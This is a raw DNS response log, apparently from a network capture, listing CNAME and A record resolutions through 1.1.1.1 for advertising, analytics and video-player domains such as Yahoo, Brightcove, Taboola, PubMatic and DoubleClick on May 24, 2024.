May 24, 2024 00:34:54.657917976 CEST	1.1.1.1	192.168.2.6	0xe492	No error (0)	players.brightcove.net	players.brightcove.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.658880949 CEST	1.1.1.1	192.168.2.6	0x69bc	No error (0)	players.brightcove.net	players.brightcove.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.711311102 CEST	1.1.1.1	192.168.2.6	0xdf18	No error (0)	video-api.yql.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.711311102 CEST	1.1.1.1	192.168.2.6	0xdf18	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.711311102 CEST	1.1.1.1	192.168.2.6	0xdf18	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.711323977 CEST	1.1.1.1	192.168.2.6	0x6b47	No error (0)	video-api.yql.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	secure.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.417023897 CEST	1.1.1.1	192.168.2.6	0x76a9	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.523510933 CEST	1.1.1.1	192.168.2.6	0x8f78	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.523510933 CEST	1.1.1.1	192.168.2.6	0x8f78	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.523510933 CEST	1.1.1.1	192.168.2.6	0x8f78	No error (0)	cs964199420.wpc.mucdn.net		152.199.23.180	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.524471045 CEST	1.1.1.1	192.168.2.6	0xef24	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.524471045 CEST	1.1.1.1	192.168.2.6	0xef24	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.676604986 CEST	1.1.1.1	192.168.2.6	0x487c	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.676604986 CEST	1.1.1.1	192.168.2.6	0x487c	No error (0)	user-data-eu.bidswitch.net		35.214.149.91	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.684209108 CEST	1.1.1.1	192.168.2.6	0xef50	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.684241056 CEST	1.1.1.1	192.168.2.6	0x7edc	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.684241056 CEST	1.1.1.1	192.168.2.6	0x7edc	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685307026 CEST	1.1.1.1	192.168.2.6	0x260b	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.685307026 CEST	1.1.1.1	192.168.2.6	0x260b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		52.212.30.128	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685307026 CEST	1.1.1.1	192.168.2.6	0x260b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.240.80.220	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685307026 CEST	1.1.1.1	192.168.2.6	0x260b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		52.49.44.23	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685307026 CEST	1.1.1.1	192.168.2.6	0x260b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		54.246.18.125	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		54.165.165.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		54.146.48.107	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		54.146.53.134	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		52.71.153.127	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		54.204.12.49	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		54.175.113.230	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		54.167.184.132	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685337067 CEST	1.1.1.1	192.168.2.6	0x7496	No error (0)	sync.srv.stackadapt.com		54.225.219.192	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.685762882 CEST	1.1.1.1	192.168.2.6	0x8580	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		52.72.151.87	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		54.145.3.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		52.73.82.193	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		54.144.2.150	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		52.7.90.152	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		52.72.76.247	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		54.163.32.160	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693377018 CEST	1.1.1.1	192.168.2.6	0xb609	No error (0)	sync.ipredictive.com		54.157.2.15	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693408012 CEST	1.1.1.1	192.168.2.6	0xd2f4	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.693408012 CEST	1.1.1.1	192.168.2.6	0xd2f4	No error (0)	m.deepintent.com		8.18.47.7	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693408012 CEST	1.1.1.1	192.168.2.6	0xd2f4	No error (0)	m.deepintent.com		169.197.150.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693408012 CEST	1.1.1.1	192.168.2.6	0xd2f4	No error (0)	m.deepintent.com		169.197.150.7	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.693408012 CEST	1.1.1.1	192.168.2.6	0xd2f4	No error (0)	m.deepintent.com		38.91.45.7	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.704001904 CEST	1.1.1.1	192.168.2.6	0x9e45	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.704001904 CEST	1.1.1.1	192.168.2.6	0x9e45	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.704001904 CEST	1.1.1.1	192.168.2.6	0x9e45	No error (0)	zemanta-nychi2.outbrain.org	chidc2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.704001904 CEST	1.1.1.1	192.168.2.6	0x9e45	No error (0)	chidc2.outbrain.org		64.74.236.127	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.704032898 CEST	1.1.1.1	192.168.2.6	0x53de	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.704032898 CEST	1.1.1.1	192.168.2.6	0x53de	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:55.704032898 CEST	1.1.1.1	192.168.2.6	0x53de	No error (0)	zemanta-nychi2.outbrain.org	chidc2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.392613888 CEST	1.1.1.1	192.168.2.6	0xc7f3	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.399178982 CEST	1.1.1.1	192.168.2.6	0xb7c9	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.399178982 CEST	1.1.1.1	192.168.2.6	0xb7c9	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.399178982 CEST	1.1.1.1	192.168.2.6	0xb7c9	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.399178982 CEST	1.1.1.1	192.168.2.6	0xb7c9	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.399178982 CEST	1.1.1.1	192.168.2.6	0xb7c9	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.769975901 CEST	1.1.1.1	192.168.2.6	0x64ff	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.769975901 CEST	1.1.1.1	192.168.2.6	0x64ff	No error (0)	eu-eb2.3lift.com		13.248.245.213	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.769975901 CEST	1.1.1.1	192.168.2.6	0x64ff	No error (0)	eu-eb2.3lift.com		76.223.111.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.769992113 CEST	1.1.1.1	192.168.2.6	0x8eab	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770001888 CEST	1.1.1.1	192.168.2.6	0x5e33	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw.yieldmo.com	gdpr.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	gdpr.rw.yieldmo.com	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		54.170.121.32	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		34.252.196.148	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		52.209.140.47	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		108.129.27.35	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		99.81.151.194	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		54.77.35.70	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		99.80.1.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770010948 CEST	1.1.1.1	192.168.2.6	0x2a10	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		3.248.168.119	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770015001 CEST	1.1.1.1	192.168.2.6	0x65ae	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770015001 CEST	1.1.1.1	192.168.2.6	0x65ae	No error (0)	rw.yieldmo.com	gdpr.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770015001 CEST	1.1.1.1	192.168.2.6	0x65ae	No error (0)	gdpr.rw.yieldmo.com	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.770019054 CEST	1.1.1.1	192.168.2.6	0xbb56	No error (0)	yahoo-bidout-d.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.770019054 CEST	1.1.1.1	192.168.2.6	0xbb56	No error (0)	yahoo-bidout-d.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.772291899 CEST	1.1.1.1	192.168.2.6	0xce29	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.772305965 CEST	1.1.1.1	192.168.2.6	0x9b20	No error (0)	contextual.media.net		95.101.148.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.779887915 CEST	1.1.1.1	192.168.2.6	0x64e7	No error (0)	js-sec.indexww.com		172.64.149.180	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.779887915 CEST	1.1.1.1	192.168.2.6	0x64e7	No error (0)	js-sec.indexww.com		104.18.38.76	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.779901028 CEST	1.1.1.1	192.168.2.6	0xe0b8	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.779911041 CEST	1.1.1.1	192.168.2.6	0x66e8	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:56.779918909 CEST	1.1.1.1	192.168.2.6	0x796	No error (0)	js-sec.indexww.com			65	IN (0x0001)	false
May 24, 2024 00:34:57.734203100 CEST	1.1.1.1	192.168.2.6	0x726f	No error (0)	bh.contextweb.com	am1-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:57.734203100 CEST	1.1.1.1	192.168.2.6	0x726f	No error (0)	am1-bh.contextweb.com	am1-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:57.734203100 CEST	1.1.1.1	192.168.2.6	0x726f	No error (0)	am1-direct-bgp.contextweb.com		208.93.169.131	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:57.734232903 CEST	1.1.1.1	192.168.2.6	0x723c	No error (0)	bh.contextweb.com	am1-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:57.734232903 CEST	1.1.1.1	192.168.2.6	0x723c	No error (0)	am1-bh.contextweb.com	am1-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.071680069 CEST	1.1.1.1	192.168.2.6	0xf8f2	No error (0)	metrics.brightcove.com		35.244.232.184	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.102660894 CEST	1.1.1.1	192.168.2.6	0x627f	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.102660894 CEST	1.1.1.1	192.168.2.6	0x627f	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.102660894 CEST	1.1.1.1	192.168.2.6	0x627f	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.102660894 CEST	1.1.1.1	192.168.2.6	0x627f	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.71.149.231	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.102660894 CEST	1.1.1.1	192.168.2.6	0x627f	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.75.62.37	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.102691889 CEST	1.1.1.1	192.168.2.6	0x915	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.102691889 CEST	1.1.1.1	192.168.2.6	0x915	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.102691889 CEST	1.1.1.1	192.168.2.6	0x915	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.202778101 CEST	1.1.1.1	192.168.2.6	0xe9cb	No error (0)	edge-auth.api.brightcove.com	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.202778101 CEST	1.1.1.1	192.168.2.6	0xe9cb	No error (0)	dualstack.brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.202778101 CEST	1.1.1.1	192.168.2.6	0xe9cb	No error (0)	dualstack.brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.202778101 CEST	1.1.1.1	192.168.2.6	0xe9cb	No error (0)	dualstack.brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.202778101 CEST	1.1.1.1	192.168.2.6	0xe9cb	No error (0)	dualstack.brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.216351032 CEST	1.1.1.1	192.168.2.6	0xaec4	No error (0)	edge-auth.api.brightcove.com	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.640096903 CEST	1.1.1.1	192.168.2.6	0x57a1	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.640232086 CEST	1.1.1.1	192.168.2.6	0xccf4	No error (0)	usersync.gumgum.com		34.247.233.198	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.640232086 CEST	1.1.1.1	192.168.2.6	0xccf4	No error (0)	usersync.gumgum.com		34.247.205.196	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.640232086 CEST	1.1.1.1	192.168.2.6	0xccf4	No error (0)	usersync.gumgum.com		52.210.15.1	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.644737005 CEST	1.1.1.1	192.168.2.6	0x41a2	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.710731983 CEST	1.1.1.1	192.168.2.6	0x48d3	No error (0)	cm.g.doubleclick.net		142.250.184.226	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.771891117 CEST	1.1.1.1	192.168.2.6	0x4105	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.771891117 CEST	1.1.1.1	192.168.2.6	0x4105	No error (0)	image6v2.pubmnet.com	pugm-amsfpairbc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.771891117 CEST	1.1.1.1	192.168.2.6	0x4105	No error (0)	pugm-amsfpairbc.pubmnet.com		198.47.127.19	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.771924973 CEST	1.1.1.1	192.168.2.6	0xea3e	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.771924973 CEST	1.1.1.1	192.168.2.6	0xea3e	No error (0)	image6v2.pubmnet.com	pugm-amsfpairbc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.818952084 CEST	1.1.1.1	192.168.2.6	0x82c4	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.818952084 CEST	1.1.1.1	192.168.2.6	0x82c4	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.818952084 CEST	1.1.1.1	192.168.2.6	0x82c4	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.818952084 CEST	1.1.1.1	192.168.2.6	0x82c4	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.167	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.162	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		211.120.53.203	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		211.120.53.204	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.164	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.165	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.163	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		211.120.53.201	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.160	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.170	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.169	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		211.120.53.200	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.166	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.168	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		211.120.53.206	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		124.146.153.161	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		211.120.53.202	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933119059 CEST	1.1.1.1	192.168.2.6	0x4104	No error (0)	tg.dr.socdm.com		211.120.53.205	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.933156967 CEST	1.1.1.1	192.168.2.6	0x6ccb	No error (0)	tg.socdm.com	tg.dr.socdm.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.001693010 CEST	1.1.1.1	192.168.2.6	0x76c9	No error (0)	sb.scorecardresearch.com		18.239.83.58	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.001693010 CEST	1.1.1.1	192.168.2.6	0x76c9	No error (0)	sb.scorecardresearch.com		18.239.83.98	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.001693010 CEST	1.1.1.1	192.168.2.6	0x76c9	No error (0)	sb.scorecardresearch.com		18.239.83.91	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.001693010 CEST	1.1.1.1	192.168.2.6	0x76c9	No error (0)	sb.scorecardresearch.com		18.239.83.126	A (IP address)	IN (0x0001)	false
